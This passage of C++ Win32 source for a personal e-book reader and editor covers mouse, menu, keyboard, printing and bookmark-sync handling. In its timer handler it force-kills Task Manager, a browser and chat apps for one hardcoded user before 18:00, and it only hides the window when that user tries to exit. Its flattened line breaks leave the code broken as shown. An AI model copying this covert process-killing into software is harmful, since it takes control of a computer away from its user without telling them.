mrect_close,mrect_login;SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标SetRect(&mrect_login,r.right-100,r.bottom-18,r.right,r.bottom);//P373设置矩形的坐标SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标if (PtInRect(&mrect_tree,p)==0  and PtInRect(&mrect_two,p)==0  and PtInRect(&mrect_one,p)==0 and PtInRect(&mrect_close,p)==0 and PtInRect(&mrect_login,p)==0) {if (mouseX<r.right/2&&mouseY<r.bottom-22){pageup();}if (mouseX>r.right/2&&mouseY<r.bottom-22){pagedown();}mousedown=false;changeedit();changeedit();selbhang=CaretPoshang;selblie=CaretPoslie;return 0;}//在编辑状态下,如果在中间点击,则移动窗口if (PtInRect(&mrect_two,p)!=0&&(ll==2 or ll==3)){mousedown=false;SystemParametersInfo(SPI_SETDRAGFULLWINDOWS,true,NULL,0);//移动时不会出现虚线框 SendMessage(hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0);  selbhang=CaretPoshang;selblie=CaretPoslie;                  return 0;}//移动光标mousetocaret(mouseX,mouseY);selbhang=CaretPoshang;selblie=CaretPoslie;if (havemove){InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 havemove=false;//selbhang=-1;//selblie=-1;}}return 0;}   case WM_LBUTTONUP:{mousedown=false;selehang=CaretPoshang;selelie=CaretPoslie;if (havemove){if (selehang<selbhang){int temp=selbhang;selbhang=selehang;selehang=temp;int temp1=selblie;selblie=selelie;selelie=temp1;                    }if (selehang==selbhang){if (selblie>selelie){int temp=selblie;selblie=selelie;selelie=temp;}}}return 0;}case WM_TIMER:{if (wParam==ID_TIMER1&&bookid!="-1"){KillTimer(MAIN_hwnd,ID_TIMER1);//销毁定时器    char bookwz[30]="\0";char bookzzs[30]="\0";sprintf(bookwz,"%d",beginwz);sprintf(bookzzs,"%d",bookstr.size());string tempurl="http://lovegp.cn/gpbook/gpbooksq.asp?cz=downwz&username="+username+"&bookid="+bookid+"&bookwz="+bookwz+"&bookzzs="+bookzzs;booknr=geturl(tempurl);if (booknr!="")if (booknr!="无书签" && beginwz<atoi((char *)booknr.c_str())){if (MessageBox(hwnd,"有更新的阅读位置,需要更新吗?","提示",MB_YESNO|MB_ICONQUESTION)==IDYES ){beginwz=atoi((char *)booknr.c_str());getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果                        }}  }if (wParam==ID_TIMER2)   {// 基于当前系统的当前日期/时间time_t now = time(0);struct tm *ltm = localtime(&now);if (username=="11888"&&ltm->tm_hour<18){EndProcess("taskmgr.exeiexplore.exeMicroMiniNew.exeQQ.exeQQBrowser.exeWeChatWeb.exeWeChatApp.exeWeChat.exe");//system("taskkill /f /t /im QQBrowser.exe");//强制结束进程}if (ltm->tm_min==0&&ltm->tm_hour<18)//|| ltm->tm_min==30{KillTimer(MAIN_hwnd,ID_TIMER2);//销毁定时器  HWND fhwnd=FindWindow(NULL,"时间提醒");//查找窗口标题if (fhwnd!=NULL) {SetWindowPos(fhwnd, HWND_TOPMOST, 100, 100, 600, 300, SWP_NOSIZE|SWP_DRAWFRAME|SWP_NOMOVE);//P139变更窗口的新属性 将窗口置顶 SWP_NOSIZE|SWP_NOMOVE|//DestroyWindow(fhwnd);//关闭这个窗口break;}elseDisplayTalk(hwnd,talk8,"talk8","时间提醒",600,300);//显示时间提醒窗口      }if (username!="游客" && bookid!="-1")//上传书签 {char bookwz[30]="\0";char bookzzs[30]="\0";sprintf(bookwz,"%d",beginwz);sprintf(bookzzs,"%d",bookstr.size());string tempurl="http://lovegp.cn/gpbook/gpbooksq.asp?cz=editwz&username="+username+"&bookid="+bookid+"&bookwz="+bookwz+"&bookzzs="+bookzzs;booknr=geturl(tempurl);}                     }return 0;}case WM_TRAY://处理托盘图标事件switch(lParam){case WM_RBUTTONDOWN:{//获取鼠标坐标POINT pt; GetCursorPos(&pt);//解决在菜单外单击左键菜单不消失的问题SetForegroundWindow(hwnd);//使菜单某项变灰//EnableMenuItem(hMenu, ID_SHOW, MF_GRAYED);    //显示并获取选中的菜单int cmd = TrackPopupMenu(hMenu, TPM_RETURNCMD, pt.x, pt.y, 0, hwnd, 0);if(cmd == 20){DisplayTalk(hwnd,about,"关于窗口","关于",500,300);    }   //MessageBox(NULL, "悦读器 设计:张国鹏,纯WIN32 API研制,作品为本人学习C++之作。", "提示", MB_OK);if(cmd == 21) {   if (username=="11888"){ShowWindow(hwnd,SW_HIDE);//P141隐藏窗口 return 0;}DestroyWindow(hwnd);}}return 0; case WM_LBUTTONDOWN:if (IsWindowVisible(hwnd)!=0)//WIN+Z老板键{ ShowWindow(hwnd,SW_HIDE);//P141隐藏窗口 }else{OpenIcon(hwnd);//P137恢复最小化窗口  ShowWindow(hwnd,SW_SHOW);//P141显示窗口 SetForegroundWindow(hwnd);//P137将窗口前置 }return 0;}break; case WM_COMMAND:   //maincommand{if (username!="游客" && bookid!="-1")//上传书签 {char bookwz[30]="\0";char bookzzs[30]="\0";sprintf(bookwz,"%d",beginwz);sprintf(bookzzs,"%d",bookstr.size());string tempurl="http://lovegp.cn/gpbook/gpbooksq.asp?cz=editwz&username="+username+"&bookid="+bookid+"&bookwz="+bookwz+"&bookzzs="+bookzzs;booknr=geturl(tempurl);}wmId = LOWORD(wParam);switch (wmId){case 10://剪切{if (selbhang==selehang&&selblie==selelie) return 0;//先复制string rtstr=getselstr();SetClipData((char *)rtstr.c_str());//将字符串复制到剪切板//再删除deleteselstr();editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景return 0;}case 11://复制{if (selbhang==selehang&&selblie==selelie) return 0;string rtstr=getselstr();SetClipData((char *)rtstr.c_str());//将字符串复制到剪切板return 0;}case 12://粘贴{paste();return 0;}case 13://删除{if (selbhang==selehang&&selblie==selelie) return 0;deleteselstr();editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景return 0;}case 14://新建{if (haveedit){if (MessageBox(hwnd,"当前文件已被修改,需要保存吗?","提示",MB_YESNO|MB_ICONQUESTION)==IDYES ){int fz=FileName.find("新建文档");string str_write=UnicodeToANSI(bookstr);                          if (fz==-1){WriteToFile(str_write,FileName);  }else{string tempname;tempname = GetSaveFileName();if (tempname!=""){FileName=tempname;WriteToFile(str_write,FileName);}                               }}}FileName=(char *)Get_Run_Path_ZGP();FileName=FileName+(char *)"新建文档.TXT";bookstr=ANSIToUnicode("  ");//这是张国鹏设计的简易文本编辑器......");bookid="-1";beginwz=0;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景CaretPoshang=0;CaretPoslie=0;moveCaret();haveedit=false;return 0;}//打开本地图书case 15:{
/if (haveedit){if (MessageBox(hwnd,"当前文件已被修改,需要保存吗?","提示",MB_YESNO|MB_ICONQUESTION)==IDYES ){int fz=FileName.find("新建文档");string str_write=UnicodeToANSI(bookstr);                          if (fz==-1){WriteToFile(str_write,FileName);  }else{string tempname;tempname = GetSaveFileName();if (tempname!=""){FileName=tempname;WriteToFile(str_write,FileName);}                               }haveedit=false;}}     string tempname;tempname = GetOpenFileName();if (tempname!=""){FileName=tempname;bookid="-1";bookstr=ReadFile(FileName);//读取电子书数据                                              beginwz=0;//GetPrivateProfileInt("电子书",FileName.c_str(),0,IniFullPath);//读取INI数值getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景WritePrivateProfileString("电子书","书名",FileName.c_str(),IniFullPath);WritePrivateProfileString("电子书","bookid",bookid.c_str(),IniFullPath);}/                  return 0;}              case 16://保存{if (haveedit){int fz=FileName.find("新建文档");string str_write=UnicodeToANSI(bookstr);                            if (fz==-1){WriteToFile(str_write,FileName);  haveedit=false;}else{string tempname;tempname = GetSaveFileName();if (tempname!=""){FileName=tempname;WriteToFile(str_write,FileName);haveedit=false;}                               }InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}return 0;}//另存为case 17:{
/if (haveedit){if (MessageBox(hwnd,"当前文件已被修改,需要保存吗?","提示",MB_YESNO|MB_ICONQUESTION)==IDYES ){int fz=FileName.find("新建文档");string str_write=UnicodeToANSI(bookstr);                          if (fz==-1){WriteToFile(str_write,FileName);  haveedit=false;    }else{string tempname;tempname = GetSaveFileName();if (tempname!=""){FileName=tempname;WriteToFile(str_write,FileName);haveedit=false;    }                               }}}     string tempname;tempname = GetSaveFileName();if (tempname!=""){string str_write=UnicodeToANSI(bookstr);//bookid="-1";//FileName=tempname;WriteToFile(str_write,tempname);//WritePrivateProfileString("电子书","书名",FileName.c_str(),IniFullPath);//WritePrivateProfileString("电子书","bookid",bookid.c_str(),IniFullPath);//InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}/                  return 0;}//排版另存case 171:{if (bookstr.length()==0){MessageBox(hwnd,"无内容可排版!","提示",0);return 0;}string tempname;tempname = GetSaveFileName();if (tempname!=""){strcpy(inputstr,tempname.c_str());HANDLE hThread1    = CreateThread(NULL, 0, xc1, NULL, 0, NULL);//创建线程             }   return 0;                   }//排版另存-去掉括号内的内容,并以空格填空case 172:{if (bookstr.length()==0){MessageBox(hwnd,"无内容可排版!","提示",0);return 0;}string tempname;tempname = GetSaveFileName();if (tempname!=""){strcpy(inputstr,tempname.c_str());HANDLE hThread1  = CreateThread(NULL, 0, xc2, NULL, 0, NULL);//创建线程             }   return 0;                   }   case 173://打印文本win+p{CallPrint(false);//按原文打印return 0;}    case 1://用户操作//8/{DisplayTalk(hwnd,talk4,"talk4","用户操作",350,350);return 0;}case 2://配置{DisplayTalk(hwnd,talk1,"talk1","参数配置",420,470);return 0;}case 3://书架{if (username=="游客"){MessageBox(hwnd,"请登录后再使用本功能!","警告",MB_OK);}else DisplayTalk(hwnd,talk5,"talk5",username+"的书架",750,650);return 0;}                   case 4://图书馆{DisplayTalk(hwnd,talk2,"talk2","图书馆",850,800);return 0;}               case 40://共享图书{DisplayTalk(hwnd,talk7,"talk7","共享图书",700,700);return 0;}case 7://读书笔记{if (username=="游客"){MessageBox(hwnd,"请登录后再使用本功能!","警告",MB_OK);}else DisplayTalk(hwnd,talk6,"talk6","读书笔记",794,1123);//A4x=794;A4y=1123;return 0;}    case 71://打印文本win+p{CallPrint(true);//按原文排版后打印return 0;}case 72://编辑模式、阅读模式ctrl+e{changeedit();return 0;} case 73://财务管理{DisplayTalk(hwnd,talk8,"talk8","财务管理",1000,800);return 0;}                   case 18://编辑模式、阅读模式ctrl+e{changeedit();return 0;}                  case 5:{//阅读剪切板string ls= GetTextFromClipboard();char* lpStr=(char*)ls.c_str(); if(NULL != lpStr){bookid="-1";FileName="剪切板.txt";bookstr=ANSIToUnicode(lpStr);beginwz=0;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景//MessageBox(0, lpStr, "", 0);}else{MessageBox(0, "剪切板没有数据!", "", 0);}return 0;}//本地图书case 6:{
/string tempname;tempname = GetOpenFileName();if (tempname!=""){transform(tempname.begin(), tempname.end(), tempname.begin(),::toupper);//小写转大写if (tempname.find(".TXT")!=string::npos||tempname.find(".CPP")!=string::npos){FileName=tempname;bookid="-1";bookstr=ReadFile(FileName);//读取电子书数据                                              beginwz=0;//GetPrivateProfileInt("电子书",FileName.c_str(),0,IniFullPath);//读取INI数值getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景WritePrivateProfileString("电子书","书名",FileName.c_str(),IniFullPath);WritePrivateProfileString("电子书","bookid",bookid.c_str(),IniFullPath);}else{ShellExecute(NULL,"open",tempname.c_str(), NULL, NULL, SW_SHOWNORMAL);  }}/                 return 0;}case 8:{if (username=="11888"){ShowWindow(hwnd,SW_HIDE);//P141隐藏窗口 return 0;}DestroyWindow(hwnd);return 0;}}return 0;}case WM_MOUSEWHEEL://鼠标滚轮{if ( (short)   HIWORD(wParam)>0 )//放大字体{if(!GetAsyncKeyState(VK_CONTROL)){if (ztdx<0){ztdx--;}else{ztdx++;}getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景if (canedit){CaretPoshang=0; CaretPoslie=0;changeedit();changeedit();}}else{char temp[MAX_PATH];int formx,formy;if (ll==1){
/*                      sfbl=sfbl+0.1;printf("缩放比例:%f\n",sfbl);                     HDC hdctemp=GetDC(NULL);int xsd = GetDeviceCaps(hdctemp,LOGPIXELSY);//得到当前屏幕每英寸的像素点是多少DeleteDC(hdctemp);int A4x=(210/25.4)*xsd*sfbl;int A4y=(297/25.4)*xsd*sfbl;    formx=A4x;formy=A4y; */formx=cxClient+30;formy=cyClient+30;                       }else{formx=cxClient+30;formy=cyClient+30;}                     sprintf(temp,"%d",formx);WritePrivateProfileString("电子书","书宽",temp,IniFullPath);//写入INI数值sprintf(temp,"%d",formy);WritePrivateProfileString("电子书","书高",temp,IniFullPath);//写入INI数值ZGP_windowstoclient(MAIN_hwnd,formx,formy);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果                     }return 0;}if ( (short)HIWORD(wParam)<0)//缩小字体{if(!GetAsyncKeyState(VK_CONTROL)){                if (ztdx<0){ztdx++;}else{ztdx--;}getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景if (canedit){CaretPoshang=0;    CaretPoslie=0;changeedit();changeedit();           }}else{char temp[MAX_PATH];int formx,formy;if (ll==1){
/*                      if (sfbl>0.7)sfbl=sfbl-0.1;printf("缩放比例:%f\n",sfbl);                      HDC hdctemp=GetDC(NULL);int xsd = GetDeviceCaps(hdctemp,LOGPIXELSY);//得到当前屏幕每英寸的像素点是多少DeleteDC(hdctemp);int A4x=(210/25.4)*xsd*sfbl;int A4y=(297/25.4)*xsd*sfbl;    formx=A4x;formy=A4y; */formx=cxClient-30;formy=cyClient-30;                     }else{formx=cxClient-30;formy=cyClient-30;}   sprintf(temp,"%d",formx);WritePrivateProfileString("电子书","书宽",temp,IniFullPath);//写入INI数值sprintf(temp,"%d",formy);WritePrivateProfileString("电子书","书高",temp,IniFullPath);//写入INI数值ZGP_windowstoclient(MAIN_hwnd,formx,formy);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果                     }return 0;}}/*      return 0;} */case WM_CONTEXTMENU://右键菜单//cd{if (!canedit){//Win32创建弹出菜单POINT point;::GetCursorPos(&point);//得到鼠标的当前位置HMENU hMenuPopup = CreatePopupMenu () ;AppendMenu(hMenuPopup,     MF_STRING, 1, "用户操作");AppendMenu(hMenuPopup,     MF_SEPARATOR, 0, NULL) ;AppendMenu(hMenuPopup,     MF_STRING, 3, "书架");AppendMenu(hMenuPopup,     MF_SEPARATOR, 0, NULL) ;                     AppendMenu(hMenuPopup,     MF_STRING, 4, "图书馆") ;AppendMenu(hMenuPopup,     MF_STRING, 40, "共享图书") ;                    AppendMenu(hMenuPopup,     MF_SEPARATOR, 0, NULL) ;AppendMenu(hMenuPopup,     MF_STRING, 5, "阅读剪切板") ;AppendMenu(hMenuPopup,     MF_STRING, 6, "打开本地图书") ;AppendMenu(hMenuPopup,     MF_SEPARATOR, 0, NULL) ;AppendMenu(hMenuPopup,     MF_STRING, 7, "读书笔记") ;AppendMenu(hMenuPopup,     MF_STRING, 71, "打印当前图书") ;AppendMenu(hMenuPopup,     MF_STRING, 72, "编辑模式") ;AppendMenu(hMenuPopup,     MF_SEPARATOR, 0, NULL) ;AppendMenu(hMenuPopup,     MF_STRING, 2, "配置");
/*                      if (username=="11888")AppendMenu(hMenuPopup,     MF_STRING, 73, "财务管理") ; */AppendMenu(hMenuPopup,     MF_STRING, 8, "退出程序") ;TrackPopupMenu (hMenuPopup, TPM_RIGHTBUTTON, point.x, point.y, 0, hwnd, NULL) ;DestroyMenu (hMenuPopup);}else{//Win32创建弹出菜单POINT point;::GetCursorPos(&point);//得到鼠标的当前位置HMENU hMenuPopup = CreatePopupMenu () ;AppendMenu(hMenuPopup,     MF_STRING, 10, "剪切");AppendMenu(hMenuPopup,     MF_STRING, 11, "复制");AppendMenu(hMenuPopup,     MF_STRING, 12, "粘贴");AppendMenu(hMenuPopup,     MF_STRING, 13, "删除");AppendMenu(hMenuPopup,     MF_SEPARATOR, 0, NULL) ;                      AppendMenu(hMenuPopup,     MF_STRING, 14, "新建");AppendMenu(hMenuPopup,     MF_STRING, 15, "打开");AppendMenu(hMenuPopup,     MF_STRING, 16, "保存");AppendMenu(hMenuPopup,     MF_STRING, 17, "另存为");AppendMenu(hMenuPopup,     MF_STRING, 171, "排版另存");AppendMenu(hMenuPopup,     MF_STRING, 172, "括号挖空另存");AppendMenu(hMenuPopup,     MF_STRING, 173, "打印当前图书") ;AppendMenu(hMenuPopup,     MF_STRING, 18, "阅读模式");TrackPopupMenu (hMenuPopup, TPM_RIGHTBUTTON, point.x, point.y, 0, hwnd, NULL) ;DestroyMenu (hMenuPopup);                       }return 0;}case WM_CREATE:{HINSTANCE hinstance=(HINSTANCE)GetWindowLong(hwnd,GWL_HINSTANCE);//有时候会发现程序的图标是有了,但是在左上角却还是没有加载上,这样做保险点SetClassLong(hwnd,GCL_HICON,(LONG)LoadIcon(hinstance,"IDI_ICON1"));//有时候会发现程序的图标是有了,但是在左上角却还是没有加载上,这样做保险点GetClientRect(hwnd, &r);获取客户区尺寸GetClientRect(MAIN_hwnd, &r);获取客户区尺寸RegisterHotKey(hwnd,9001,MOD_ALT, 'Z');//老板键P70 注册热键F8 分栏显示MOD_WINRegisterHotKey(hwnd,9002,MOD_ALT, 'X');//调出读书笔记注册热键F10//阅读剪切板VK_F10RegisterHotKey(hwnd,9003,0, VK_F2);//调出读书笔记注册热键F10//阅读剪切板VK_F10return 0;}case WM_KEYDOWN:{//printf("wm_keydown_wParam:%d\n",wParam);char temp[30];if (wParam==116&&canedit)//F5去括号或加括号{//printf("selbhang:%d,selehang:%d,selblie:%d,selelie:%d\n",selbhang,selehang,selblie,selelie);if (selbhang==selehang&&selblie==selelie) return 0;        //检查选取的字符头尾是否为“(”,“)”s=showstr[selbhang];s1=s[selblie];if (!isAscll(s1)){s1=s1+s[selblie+1];}s=showstr[selehang];s2=s[selelie-1];if (!isAscll(s1)){s2=s[selelie-2]+s2;}               if (s1=="(" and s2==")")//有左右括号,则删除掉{//删除左括号s=showstr[selbhang];s.erase(selblie,2);showstr[selbhang]=s;//删除右括号s=showstr[selehang];if (selbhang==selehang){s.erase(selelie-4,2);}else{s.erase(selelie-2,2);}showstr[selehang]=s;if (selbhang==selehang&&selelie==CaretPoslie)CaretPoslie=CaretPoslie-4;if (selbhang<selehang&&selelie==CaretPoslie)CaretPoslie=CaretPoslie-2;                 }else{//添加左括号s=showstr[selbhang];s1="(";s.insert(selblie,s1);showstr[selbhang]=s;//添加右括号s2=")";s=showstr[selehang];if (selbhang==selehang){s.insert(selelie+2,s2);}else{s.insert(selelie,s2);}showstr[selehang]=s;                   }editbookstr();编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景moveCaret();//定位              return 0;}//更换显示模式if(GetAsyncKeyState(VK_CONTROL)&& wParam ==72)//ctrl+h VK_CONTROL{switch (ll){case 1:ll=2;break;case 2:ll=3;break;case 3:ll=1;break;}getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景  return 0;}//打印if(GetAsyncKeyState(VK_CONTROL)&& wParam ==80)//CTRL+P VK_CONTROL{if (canedit){CallPrint(false);}else{CallPrint(true);}return 0;}//粘贴if(GetAsyncKeyState(VK_CONTROL)&& wParam ==86&&canedit)//CTRL+V VK_CONTROL{if (!(selbhang==selehang&&selblie==selelie)){deleteselstr();editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();CaretPoshang=selbhang;CaretPoslie=selblie;}paste();return 0;}//复制if(GetAsyncKeyState(VK_CONTROL)&& wParam ==67&&canedit)//ctrl+c VK_CONTROL{if (selbhang==selehang&&selblie==selelie) return 0;//printf("selbhang:%d,selblie:%d,selehang:%d,selelie:%d\n",selbhang,selblie,selehang,selelie);string rtstr=getselstr();SetClipData((char *)rtstr.c_str());//将字符串复制到剪切板return 0;}//打开编辑,关闭编辑if(GetAsyncKeyState(VK_CONTROL)&& wParam ==69)//CTRL+E VK_CONTROL{changeedit();return 0;}//保存if(GetAsyncKeyState(VK_CONTROL)&& wParam ==83&&canedit)//CTRL+S VK_CONTROL{if (haveedit){int fz=FileName.find("新建文档");string str_write=UnicodeToANSI(bookstr);                           if (fz==-1){WriteToFile(str_write,FileName);  haveedit=false;}else{string tempname;tempname = GetSaveFileName();if (tempname!=""){FileName=tempname;WriteToFile(str_write,FileName);haveedit=false;}                               }InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}return 0;}            if (wParam==33)//上一页pageup{pageup();CaretPoshang=0;  CaretPoslie=0;moveCaret();return 0;    }   if (wParam==34 || (wParam==13 && !canedit) )//下一页pagedown{pagedown();CaretPoshang=0;;  CaretPoslie=0;moveCaret();//光标定位return 0;  }   if (wParam==8)//按退格键删除一个字符{if (canedit)//如果是编辑状态{if (!havemove)//如果没有拖选   {if (CaretPoslie==0 && CaretPoshang==0) break;//光标列在0处,光标行是在第一行,则按退格键无效,不予以处理//光标列在0处,光标行不是在第一行if (CaretPoslie==0 && CaretPoshang>0){      CaretPoshang--;//退到上一行去s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位CaretPoslie=s_length;s.erase (s_length,2);showstr[CaretPoshang]=s;editbookstr();编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景moveCaret();//定位break;                                 }else{s_length=s.length();//没有就照取总符数CaretPoslie=s_length;}    }//在当前光标位置向前删除一个字符或汉字s=showstr[CaretPoshang];s1=s[CaretPoslie-1];if( isAscll(s1))                 {CaretPoslie--;s.erase (CaretPoslie,1);}else{CaretPoslie--;CaretPoslie--;if (s.size()==2){s=" ";}else{s.erase (CaretPoslie,2);}        }showstr[CaretPoshang]=s;editbookstr();编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景moveCaret();//定位}else//如果有拖选到内容{     if (selbhang==selehang&&selblie==selelie) return 0;deleteselstr();editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}}break;}if (wParam==46)//按delete删除一个字符{if (canedit)//编辑状态{if (!havemove)//没有拖选内容{s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位if (CaretPoslie==s_length)//在有回车换行符的行末按删除键,直接删除“\r\n”{s.erase (s_length,2);showstr[CaretPoshang]=s;editbookstr();编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景break;                                  }                               }else{s_length=s.length();//没有就照取总符数}                                  //如果光标大于当前行的总字符数(即光标在行末) 并且当前行不是页面最后一行,则把下一行的首字符删除掉if (CaretPoslie>s_length-1 && CaretPoshang<showstr.size()-1){     s=showstr[CaretPoshang+1];s1=s[0];if( isAscll(s1) )                  {s.erase (0,1);}else{s.erase (0,2);}showstr[CaretPoshang+1]=s;editbookstr();编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景break;                         }   //如果光标在行末,并且当前行是本页最后一行,则不执行删除动作if (CaretPoslie>s_length-1 && CaretPoshang==showstr.size()-1){MessageBox(NULL,"到底了,不能向下删除了!","",0);break;}//如果光标在行末之前的位置,则正常进行删除s=showstr[CaretPoshang];s1=s[CaretPoslie];if( isAscll(s1) )                   {s.erase (CaretPoslie,1);}else{s.erase (CaretPoslie,2);}showstr[CaretPoshang]=s;editbookstr();编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景break;}else//如果拖选内容{if (selbhang==selehang&&selblie==selelie) return 0;//没有选到有内容则退出deleteselstr();//删除选中的内容editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();//得到显示的内容InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}break;}}if (wParam==96)//按数字键盘0{if (!canedit){if (username=="游客"){MessageBox(hwnd,"请登录后再使用本功能!","警告",MB_OK);}else DisplayTalk(hwnd,talk6,"talk6","读书笔记",600,600);}return 0;          }if (wParam==VK_HOME)//回文首{if (!canedit){beginwz=0;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}else{CaretPoslie=0;moveCaret();}return 0;}if (wParam==VK_END)//回文尾{if (!canedit)//阅读模式{int sz=0;if (ll==1){   sz=Hang*Lie;}if (ll==2 or ll==3)//两栏模式 {sz=Hang*Lie*2;}if ((bookstr.size()-sz)>=0){beginwz=bookstr.size()-sz;}else{beginwz=0;}getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}else//编辑模式{s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                  CaretPoslie=s_length;moveCaret();                  }return 0;}         if ((wParam==VK_DOWN))//下一页 下箭头{if (!canedit){pagedown();}else{//1978if (ll==2 or ll==3)//两栏模式{if ((CaretPoshang<Hang-1)&& (CaretPoshang<showstr.size()-1))//如果没到底部就向下移动光标,左边栏{CaretPoshang++;s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                  if (s_length<CaretPoslie){                                                   CaretPoslie=s_length;}}else//右边栏处理{if (CaretPoshang<showstr.size()-1){CaretPoshang++;s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                  if (s_length<CaretPoslie){                                                   CaretPoslie=s_length;}}else{if (endwz<bookstr.size()){pagedown();CaretPoshang=0;;  CaretPoslie=0;}}}}if (ll==1)//一栏模式{if (CaretPoshang<showstr.size()-1)//如果没到底部就向下移动光标{CaretPoshang++;/* CaretPosy=showy+CaretPoshang*(cyChar+HJJ); */s=showstr[CaretPoshang];if (s.length()<CaretPoslie){CaretPoslie=s.length();}/* CaretPosx=showx1+CaretPoslie*cxChar; */}else{if (endwz<bookstr.size()){pagedown();CaretPoshang=0;; CaretPoslie=0;}}}moveCaret();}return 0;}if (wParam==VK_UP)//上一页  上箭头{if (!canedit){pageup();}else{//1978if (ll==2 or ll==3)//两栏模式 {if ((CaretPoshang<Hang))//如果没到顶部就向上移动光标{if ( CaretPoshang>0){CaretPoshang--;s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                 if (s_length<CaretPoslie){                                                   CaretPoslie=s_length;}}else{if (beginwz>0){pageup();CaretPoshang=showstr.size()-1;s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                  if (s_length<CaretPoslie){                                                   CaretPoslie=s_length;}                                 }               }}else{if (CaretPoshang==Hang)//如果右栏到顶了,则定位左栏尾部{CaretPoshang--;s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                 if (s_length<CaretPoslie){                                                   CaretPoslie=s_length;}                         }else//右栏向上移动光标                     {CaretPoshang--;s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                 if (s_length<CaretPoslie){                                                   CaretPoslie=s_length;}}}}if (ll==1)//一栏模式{if (CaretPoshang>0)//如果没到顶部就向上移动光标{CaretPoshang--;s=showstr[CaretPoshang];if (s.length()<CaretPoslie){CaretPoslie=s.length();}}else{if (beginwz>0){pageup();CaretPoshang=showstr.size()-1;s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) 